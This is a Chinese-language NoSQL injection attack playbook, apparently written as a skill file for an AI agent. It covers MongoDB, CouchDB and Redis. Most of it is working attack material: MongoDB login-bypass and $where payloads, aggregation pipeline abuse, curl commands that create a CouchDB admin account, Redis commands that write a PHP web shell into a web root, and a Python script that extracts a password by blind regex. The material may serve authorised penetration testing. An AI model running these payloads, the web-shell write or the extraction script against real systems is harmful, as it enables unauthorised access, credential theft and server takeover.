NoSQL 注入手册。当目标系统存在 MongoDB 风格的运算符、JSON 查询对象、灵活的搜索过滤器或后端查询 DSL,且可能导致数据或逻辑被滥用时使用。
SKILL: NoSQL Injection — 专家级攻击手册
AI 加载指令:NoSQL 注入与 SQL 注入有着本质的不同。涵盖 MongoDB 运算符注入、身份验证绕过、盲注提取、聚合管道注入以及 Redis/CouchDB 的特定攻击手法。仅掌握 SQLi 模式的测试人员极易漏掉此类漏洞。
1. 核心概念 —— 运算符注入
SQL 注入是通过破坏字符串字面量边界来进行注入。
NoSQL 注入则是通过注入查询运算符来改变查询逻辑。
MongoDB 示例 —— 正常查询:
db.users.find({username: "alice", password: "secret"})
通过 JSON 运算符进行注入:
{
"username": "admin",
"password": {"$gt": ""}
}
→ 转换为:find({username:"admin", password:{$gt:""}}) → password > "" → 恒真(Always True)!
2. MONGODB —— 登录绕过
JSON Body 注入(Content-Type 为 application/json 的 API)
POST /api/login
Content-Type: application/json
{"username": "admin", "password": {"$ne": "invalid"}}
{"username": "admin", "password": {"$gt": ""}}
{"username": {"$ne": "invalid"}, "password": {"$ne": "invalid"}}
{"username": "admin", "password": {"$regex": ".*"}}
PHP $_POST 数组注入(URL 编码表单)
username=admin&password[$ne]=invalid
username=admin&password[$gt]=
username[$ne]=invalid&password[$ne]=invalid
username=admin&password[$regex]=.*
Ruby / Python params 数组注入
与 PHP 类似 —— 使用中括号语法注入对象:
?username[%24ne]=invalid&password[%24ne]=invalid
%24 为 URL 编码后的 $
3. 用于注入的 MONGODB 运算符
| 运算符 | 含义 | 常用场景 |
|---|---|---|
$ne |
不等于 (not equal) | {"password": {"$ne": "x"}} → 始终匹配 |
$gt |
大于 (greater than) | {"password": {"$gt": ""}} → 所有非空密码均匹配 |
$gte |
大于等于 (greater or equal) | 类似于 $gt |
$lt |
小于 (less than) | {"password": {"$lt": "~"}} → 所有 ASCII 字符均匹配 |
$regex |
正则匹配 (regex match) | {"username": {"$regex": "adm.*"}} |
$where |
JS 表达式 | 最危险 —— 可执行代码 |
$exists |
字段是否存在 | {"admin": {"$exists": true}} |
$in |
包含于数组 | {"username": {"$in": ["admin","user"]}} |
4. 通过 $REGEX 进行盲注数据提取
类似于 SQLi 中的二分法盲注,使用 $regex 逐字符提取字段值:
// admin 的密码是以 'a' 开头吗?
{"username": "admin", "password": {"$regex": "^a"}}
// admin 的密码是以 'b' 开头吗?
{"username": "admin", "password": {"$regex": "^b"}}
// 依次类推:逐位缩小范围
{"username": "admin", "password": {"$regex": "^ab"}}
{"username": "admin", "password": {"$regex": "^ac"}}
响应差异:登录成功与登录失败形成了布尔盲注断言(Boolean Oracle)。
可使用 NoSQLMap 或编写基于字符集二分搜索的自定义脚本实现自动化提取。
5. MONGODB $WHERE 注入(JS 代码执行)
$where 会在 MongoDB 上下文中执行 JavaScript。
只能访问当前文档的字段 —— 无法获取系统级访问权限。但仍会导致逻辑滥用:
{"$where": "this.username == 'admin' && this.password.length > 0"}
// 基于延时的盲注提取:
{"$where": "if(this.username=='admin'){sleep(5000);return true;}else{return false;}"}
// 通过 JS 进行正则匹配:
{"$where": "this.username.match(/^adm/) && true"}
局限性:$where 并不直接提供 OS 命令执行能力 —— 它属于服务端 JS 注入(注意与命令注入区分)。
6. 聚合管道注入 (AGGREGATION PIPELINE INJECTION)
当用户可控的数据传入 $match 或 $group 阶段时:
// 存在漏洞的代码:
db.collection.aggregate([
{$match: {category: userInput}}, // userInput = {"$ne": null}
...
])
注入运算符以实现绕过:
// 传入对象形式的输入:
{"$ne": null} → 匹配所有分类
{"$regex": ".*"} → 匹配所有
7. 面向 NOSQL 的 HTTP 参数污染 (HPP)
某些框架(如 Express.js、PHP)会将重复的参数解析为数组:
?filter=value1&filter=value2 → filter = ["value1", "value2"]
在 Node.js 中利用 qs 库的解析特性:
?filter[$ne]=invalid
→ 解析为:filter = {$ne: "invalid"}
→ 从而实现 NoSQL 运算符注入
8. COUCHDB 攻击
HTTP Admin API(若暴露外网)
# 列出所有数据库:
curl http://target.com:5984/_all_dbs
# 读取某数据库中的所有文档:
curl http://target.com:5984/DATABASE_NAME/_all_docs?include_docs=true
# 创建管理员账号(若允许匿名访问):
curl -X PUT http://target.com:5984/_config/admins/attacker -d '"password"'
9. REDIS 注入
Redis 服务未授权暴露(6379 端口)—— 通过 Redis 查询中使用的输入进行命令注入:
# 通过 SSRF 或直接注入:
SET key "<?php system($_GET['cmd']); ?>"
CONFIG SET dir /var/www/html
CONFIG SET dbfilename shell.php
BGSAVE
身份验证绕过(配置了简单弱密码 requirepass 的旧版 Redis):
AUTH password
AUTH 123456
AUTH redis
AUTH admin
10. 检测 Payload (DETECTION PAYLOADS)
将以下 Payload 发送到由 NoSQL 后端处理的任意输入点:
true, $where: '1 == 1'
, $where: '1 == 1'
$where: '1 == 1'
', $where: '1 == 1
1, $where: '1 == 1'
{ $ne: 1 }
', sleep(1000)
1' ; sleep(1000)
{"$gt": ""}
{"$ne": "invalid"}
[$ne]=invalid
[$gt]=
JSON 变体测试(如果接口是基于 Form 表单的,请将 Content-Type 修改为 application/json):
{"username": "admin", "password": {"$ne": ""}}
11. NOSQL 与 SQL —— 核心差异
| 特性 | SQLi | NoSQLi |
|---|---|---|
| 语言 | SQL 语法 | 查询运算符对象 |
| 注入向量 | 字符串拼接 | 对象/运算符注入 |
| 常见特征 | 单双引号破坏响应结构 | {$ne:x} 改变响应逻辑 |
| 提取方法 | UNION / 报错注入 | $regex 字符断言 |
| 认证绕过 | ' OR 1=1-- |
{"password":{"$ne":""}} |
| OS 命令 | xp_cmdshell (MSSQL) | 罕见(需要 $where + 组合 CVE) |
| 指纹特征 | 特定数据库报错信息 | "cannot use $" 类报错 |
12. 测试 CheckList
□ 使用 JSON 请求体测试登录字段:{"$ne": "invalid"}
□ 测试 URL 编码表单:password[$ne]=invalid
□ 测试 $regex 以盲注枚举字段值
□ 尝试带有 sleep() 的 $where 进行基于时间的盲注
□ 检查 5984 端口 CouchDB(是否存在未授权管理员)
□ 检查 6379 端口 Redis(是否存在未授权)
□ 尝试在表单接口上改用 Content-Type: application/json
□ 监控运算符相关的错误信息(如 "BSON"、"operator"、"$not allowed")
13. NOSQL 盲注提取自动化
$regex 逐字符提取(Python 模板)
import requests
import string
url = "http://target/login"
charset = string.ascii_lowercase + string.digits + string.punctuation
password = ""
while True:
found = False
for c in charset:
payload = {
"username": "admin",
"password[$regex]": f"^{password}{c}.*"
}
r = requests.post(url, json=payload)
if "success" in r.text or r.status_code == 302:
password += c
found = True
print(f"Found: {password}")
break
if not found:
break
print(f"Final password: {password}")
通过 URL 编码 GET 参数使用 $regex
username=admin&password[$regex]=^a.*
username=admin&password[$regex]=^ab.*
# 遍历字符集直到登录成功
重复键绕过 (Duplicate Key Bypass)
// 当应用检查一个键但实际处理另一个键时:
{"id": "10", "id": "100"}
// JSON 解析器通常使用最后一次出现的键
// 绕过原理:WAF 校验了 id=10,应用实际处理了 id=100
14. 聚合管道注入 (AGGREGATION PIPELINE INJECTION)
当用户输入到达 MongoDB 聚合管道阶段时:
// 若用户可控 $match 阶段:
db.collection.aggregate([
{ $match: { user: INPUT } } // 来自用户的 INPUT
])
// 注入方式:传入对象而非字符串
// INPUT = {"$gt": ""} → 匹配所有文档
// 利用 $lookup 进行跨集合数据访问:
// 若 $lookup 阶段可注入:
{ $lookup: {
from: "admin_users", // 攻击者指定的集合
localField: "user_id",
foreignField: "_id",
as: "leaked"
}}
// 利用 $out 将结果写入新集合:
{ $out: "public_collection" } // 将查询结果写入可公开访问的集合
$where JavaScript 执行
// $where 允许执行任意 JavaScript(极度危险):
db.users.find({ $where: "this.username == 'admin'" })
// 若输入到达 $where:
// 注入:' || 1==1 || '
// 或:'; return true; var x='
// 基于时间:'; sleep(5000); var x='
// 数据外泄:'; if(this.password[0]=='a'){sleep(5000)}; var x='
参考来源:Soroush Dalili —— 《MongoDB NoSQL Injection with Aggregation Pipelines》(2024)
注意: $where 在服务端运行 JavaScript。除了逻辑滥用和时间断言外,过去缺乏严格 V8 沙箱保护的旧版 MongoDB 曾引发 RCE 隐患;建议将任何引入 $where 的汇聚点(Sink)均视为高风险。






